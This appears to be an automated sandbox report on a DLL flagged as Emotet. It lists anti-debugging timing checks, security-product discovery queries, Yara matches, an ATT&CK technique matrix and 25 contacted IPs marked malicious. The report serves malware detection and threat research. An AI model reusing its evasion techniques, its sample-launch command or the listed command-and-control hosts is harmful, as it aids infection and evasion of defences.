Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006ED27A0A second address: 000000006ED279F7 instructions: 0x00000000 rdtscp 0x00000003 mov ecx, dword ptr [esp+0Ch] 0x00000007 ror esi, 0Dh 0x0000000a mov eax, esi 0x0000000c pop esi 0x0000000d xor ecx, esp 0x0000000f call 00007FD23C764F27h 0x00000014 cmp ecx, dword ptr [6ED6D008h] 0x0000001a jne 00007FD23C7587E3h 0x0000001c ret 0x0000001d mov esp, ebp 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov cl, byte ptr [esi] 0x00000023 mov edi, eax 0x00000025 cmp cl, 00000061h 0x00000028 jc 00007FD23C7587EFh 0x0000002a movzx eax, cl 0x0000002d add edi, FFFFFFE0h 0x00000030 add edi, eax 0x00000032 jmp 00007FD23C758942h 0x00000037 mov eax, dword ptr [ebp-14h] 0x0000003a mov ecx, dword ptr [ebp-18h] 0x0000003d cdq 0x0000003e sub eax, edx 0x00000040 sar eax, 1 0x00000042 cmp eax, ecx 0x00000044 jl 00007FD23C7589AEh 0x0000004a add ebx, 0000FFFFh 0x00000050 inc esi 0x00000051 test bx, bx 0x00000054 jne 00007FD23C75863Eh 0x0000005a mov eax, dword ptr [ebp-14h] 0x0000005d cmp eax, ecx 0x0000005f cmovle eax, ecx 0x00000062 mov ecx, edi 0x00000064 mov dword ptr [ebp-14h], eax 0x00000067 call 00007FD23C759D43h 0x0000006c push ebp 0x0000006d mov ebp, esp 0x0000006f and esp, FFFFFFF8h 0x00000072 sub esp, 0Ch 0x00000075 mov eax, dword ptr [6ED6D008h] 0x0000007a xor eax, esp 0x0000007c mov dword ptr [esp+08h], eax 0x00000080 push esi 0x00000081 mov esi, ecx 0x00000083 rdtscp
Source: C:\Windows\System32\loaddll32.exe	RDTSC instruction interceptor: First address: 000000006ED26134 second address: 000000006ED26168 instructions: 0x00000000 rdtscp 0x00000003 mov dword ptr [ebp-08h], ecx 0x00000006 test edx, edx 0x00000008 jne 00007FD23CD6A744h 0x0000000a mov edi, 00D66F8Ch 0x0000000f mov dword ptr [ebp-14h], edi 0x00000012 rdtscp
Source: C:\Windows\System32\loaddll32.exe	RDTSC instruction interceptor: First address: 000000006ED279F7 second address: 000000006ED27A0A instructions: 0x00000000 rdtscp 0x00000003 test edx, edx 0x00000005 jnbe 00007FD23C7587EEh 0x00000007 rdtscp
Source: C:\Windows\System32\loaddll32.exe	RDTSC instruction interceptor: First address: 000000006ED27A0A second address: 000000006ED279F7 instructions: 0x00000000 rdtscp 0x00000003 mov ecx, dword ptr [esp+0Ch] 0x00000007 ror esi, 0Dh 0x0000000a mov eax, esi 0x0000000c pop esi 0x0000000d xor ecx, esp 0x0000000f call 00007FD23CD76E67h 0x00000014 cmp ecx, dword ptr [6ED6D008h] 0x0000001a jne 00007FD23CD6A723h 0x0000001c ret 0x0000001d mov esp, ebp 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov cl, byte ptr [esi] 0x00000023 mov edi, eax 0x00000025 cmp cl, 00000061h 0x00000028 jc 00007FD23CD6A72Fh 0x0000002a movzx eax, cl 0x0000002d add edi, FFFFFFE0h 0x00000030 add edi, eax 0x00000032 jmp 00007FD23CD6A882h 0x00000037 mov eax, dword ptr [ebp-14h] 0x0000003a mov ecx, dword ptr [ebp-18h] 0x0000003d cdq 0x0000003e sub eax, edx 0x00000040 sar eax, 1 0x00000042 cmp eax, ecx 0x00000044 jl 00007FD23CD6A8EEh 0x0000004a add ebx, 0000FFFFh 0x00000050 inc esi 0x00000051 test bx, bx 0x00000054 jne 00007FD23CD6A57Eh 0x0000005a mov eax, dword ptr [ebp-14h] 0x0000005d cmp eax, ecx 0x0000005f cmovle eax, ecx 0x00000062 mov ecx, edi 0x00000064 mov dword ptr [ebp-14h], eax 0x00000067 call 00007FD23CD6BC83h 0x0000006c push ebp 0x0000006d mov ebp, esp 0x0000006f and esp, FFFFFFF8h 0x00000072 sub esp, 0Ch 0x00000075 mov eax, dword ptr [6ED6D008h] 0x0000007a xor eax, esp 0x0000007c mov dword ptr [esp+08h], eax 0x00000080 push esi 0x00000081 mov esi, ecx 0x00000083 rdtscp

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED26100 rdtscp

0_2_6ED26100

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4BA20 FindFirstFileExW,		0_2_6ED4BA20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED4BA20 FindFirstFileExW,		2_2_6ED4BA20

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.789610389.000001FBA0E29000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED34E67 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6ED34E67

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED3744C GetProcessHeap,HeapFree,

0_2_6ED3744C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED26100 rdtscp

0_2_6ED26100

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00F94315 mov eax, dword ptr fs:[00000030h]	0_2_00F94315
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED26100 mov eax, dword ptr fs:[00000030h]	0_2_6ED26100
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED26100 mov eax, dword ptr fs:[00000030h]	0_2_6ED26100
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED44F94 mov eax, dword ptr fs:[00000030h]	0_2_6ED44F94
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED27A30 mov eax, dword ptr fs:[00000030h]	0_2_6ED27A30
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED4B715 mov eax, dword ptr fs:[00000030h]	0_2_6ED4B715
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED37334 mov esi, dword ptr fs:[00000030h]	0_2_6ED37334
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED26100 mov eax, dword ptr fs:[00000030h]	2_2_6ED26100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED26100 mov eax, dword ptr fs:[00000030h]	2_2_6ED26100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED44F94 mov eax, dword ptr fs:[00000030h]	2_2_6ED44F94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED27A30 mov eax, dword ptr fs:[00000030h]	2_2_6ED27A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED4B715 mov eax, dword ptr fs:[00000030h]	2_2_6ED4B715
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED37334 mov esi, dword ptr fs:[00000030h]	2_2_6ED37334
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_005D4315 mov eax, dword ptr fs:[00000030h]	3_2_005D4315

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED34E67 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6ED34E67
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3461A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6ED3461A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6ED3D436 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6ED3D436
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED34E67 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6ED34E67
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED3461A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6ED3461A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6ED3D436 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6ED3D436

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1

Jump to behavior

Source: rundll32.exe, 00000011.00000002.791816702.0000000002CB0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000011.00000002.791816702.0000000002CB0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000011.00000002.791816702.0000000002CB0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: rundll32.exe, 00000011.00000002.791816702.0000000002CB0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: rundll32.exe, 00000011.00000002.791816702.0000000002CB0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6ED54EAC
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6ED4CE41
Source: C:\Windows\System32\loaddll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_6ED54F7F
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6ED54C7C
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_6ED54DA4
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_6ED54A27
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6ED548B6
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6ED5480D
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6ED5499C
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6ED4C982
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6ED54901
Source: C:\Windows\System32\loaddll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_6ED54610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6ED54EAC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6ED4CE41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_6ED54F7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6ED54C7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_6ED54DA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_6ED54A27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6ED548B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6ED5480D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6ED5499C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6ED4C982
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6ED54901
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_6ED54610

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED34C86 cpuid

0_2_6ED34C86

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6ED34FF7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6ED34FF7

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000B.00000002.790249875.0000027A2B502000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 3.2.rundll32.exe.29543b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.138f2d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2fc47e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.29543b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3234f50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.138f2d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2fc47e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.f80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3234f50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.708035577.000000000321A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.701540322.0000000003365000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.647210731.000000000293A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.647047570.00000000005C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.707972883.0000000003120000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.649442718.0000000002D90000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.701500859.0000000003130000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707566483.000000000136B000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.649592685.0000000002FAA000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Process Injection12	Masquerading2	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	Security Software Discovery151	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	File and Directory Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	System Information Discovery123	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
P5LROPCURK.dll	27%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
7.2.rundll32.exe.3120000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
2.2.rundll32.exe.2d90000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.2.loaddll32.exe.f80000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
5.2.rundll32.exe.3130000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
3.2.rundll32.exe.5c0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://%s.xboxlive.comedsds	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.comedsds	svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000009.00000002.451524746.0000025327841000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000009.00000002.458492938.000002532786B000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.408039178.0000025327869000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000009.00000002.454706391.0000025327856000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416769653.0000025327850000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416821086.0000025327855000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416797192.0000025327849000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452899257.000002532784A000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000003.416792415.000002532784C000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.453702600.000002532784D000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.416797192.0000025327849000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452899257.000002532784A000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000009.00000002.456984917.0000025327861000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416788411.0000025327860000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000009.00000003.416777135.0000025327865000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000009.00000003.361410520.0000025327835000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.450654860.000002532783E000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000009.00000003.416797192.0000025327849000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452899257.000002532784A000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 00000009.00000002.442045893.0000025327813000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000009.00000003.416784873.0000025327863000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000002.446534383.0000025327829000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000006.00000002.789636149.0000029A10E41000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.416816556.0000025327843000.00000004.00000001.sdmp, svchost.exe, 00000009.00000003.416808229.0000025327842000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.452132349.0000025327844000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000003.416792415.000002532784C000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.453702600.000002532784D000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.154.133.20	unknown	France	12876	OnlineSASFR	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
104.245.52.73	unknown	United States	63251	METRO-WIRELESSUS	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
51.68.175.8	unknown	France	16276	OVHFR	true
103.8.26.102	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
41.76.108.46	unknown	South Africa	327979	DIAMATRIXZA	true
103.8.26.103	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
212.237.5.209	unknown	Italy	31034	ARUBA-ASNIT	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
210.57.217.132	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
